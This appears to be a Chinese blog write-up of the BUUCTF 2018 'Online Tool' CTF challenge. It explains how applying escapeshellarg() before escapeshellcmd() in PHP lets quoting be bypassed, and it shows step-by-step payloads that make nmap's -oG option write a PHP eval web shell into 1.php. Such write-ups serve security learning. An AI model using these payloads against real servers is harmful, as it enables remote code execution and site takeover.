cr0fyの博客

生如夏花之灿烂,死如秋叶之静美

0%

BUUCTF 2018_Online Tool

该题的知识点

1.nmap的将命令和结果写到文件(也许能构造木马)

2.escapeshellarg()和escapeshellcmd() 的绕过

先附上题目代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

代码审计

先是获取服务器IP地址,没啥用

1
2
3
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

还有设立文件夹,由此得知文件名不是固定的

1
2
3
4
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);

传入参数$host,并经过两个函数处理,最后是和nmap命令拼接并执行

1
2
3
4
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);

审计完毕,如果没有escapeshellarg()和escapeshellcmd()函数的处理,那就是之间利用nmap中-oG参数写入一句话木马然后蚁剑连接

函数介绍

escapeshellarg

1
2
3
4
5
6
把字符串转码为可以在 shell 命令里使用的参数

功能 :escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号
这样以确保能够直接将一个字符串传入 shell 函数,shell 函数包含 exec(), system() 执行运算符(反引号)

定义 :string escapeshellarg ( string $arg )

escapeshellcmd

1
2
3
4
5
6
7
8
9
shell 元字符转义

功能:escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。
此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。

反斜线(\)会在以下字符之前插入: &#;`|\?~<>^()[]{}$*, \x0A 和 \xFF*。 *’ 和 “ 仅在不配对儿的时候被转义。
在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。

定义 :string escapeshellcmd ( string $command)

这两个函数如果先使用escapeshellcmd()再使用escapeshellarg(),那将不会产生漏洞

但本题是相反

1
2
$host = escapeshellarg($host);   
$host = escapeshellcmd($host);

就是说两次转义后没有考虑单引号的问题导致可以绕过

因为单引号会和最近的一个单引号闭合

利用一篇文章的例子

  1. 传入的参数是:172.17.0.2' -v -d a=1
  2. 经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
  3. 经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php
  4. 最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'

题解

​ 即使我们可以利用这个漏洞逃脱单引号的束缚,但因为上述两个函数的原因,我们无法进行命令注入,因为escapeshellcmd会对特殊符号前面添加反斜杠\进行转义

​ 这个时候就需要nmap的-oG参数写木马

1
nmap <?php phpinfo(); ?> -oG 1.php

这是nmap的将一句php代码写入1.php文件的代码

但如果直接填入却因为那两个函数无法执行

image-20211123195350571

我们可以看到最终的结果是被单引号括起来的,此时会被解析为字符串而无法执行函数

1
nmap -T5 -sT -Pn --host-timeout 2 -F '\<\?php eval\(\$_POST\[\"a\"\]\)\;\?\> -oG 1.php'

那此时就需要利用这两个函数漏洞闭合单引号

绕过

只要添加一个单引号既可闭合所有,比如

1
'<?php phpinfo(); ?> -oG 1.php

image-20211123200356966

1
''\\''\<\?php phpinfo\(\)\; \?\> -oG 1.php\'

但是这个会在语句末尾新增一个引号,即1.php’ ,显然不是我们想要的

但如果在构造语句自己增加一个引号是否会闭合这个呢

1
'<?php phpinfo(); ?> -oG 1.php'

image-20211123200639997

1
2
3
4
5
6
7
8
9
''\\''\<\?php phpinfo\(\)\; \?\> -oG 1.php'\\'''      
#我们对它进行解析
'' =>闭合
\\ =>转义成单个反斜杠,并不再具有转义其他字符的能力
'' =>闭合
'\\' =>视为字符串\\
'' =>闭合
最终语句为<?php phpinfo(); ?> -oG 1.php\\,将文件储存在1.php\\文件中

这也无法将语句储存在php文件中,也是失败告终

那我们可以添加一个空格对php后缀名与两个反斜杠隔离开来,应该就可以成功

1
'<?php phpinfo(); ?> -oG 1.php '

测试后成功写入

image-20211123201751304

将phpinfo();更换为一句话木马,然后蚁剑连得到

1
'<?php @eval($_POST["a"]);?> -oG 1.php '

参考博客

https://blog.csdn.net/qq_26406447/article/details/100711933

https://blog.csdn.net/weixin_44348894/article/details/105520481?spm=1001.2101.3001.6661.1&utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link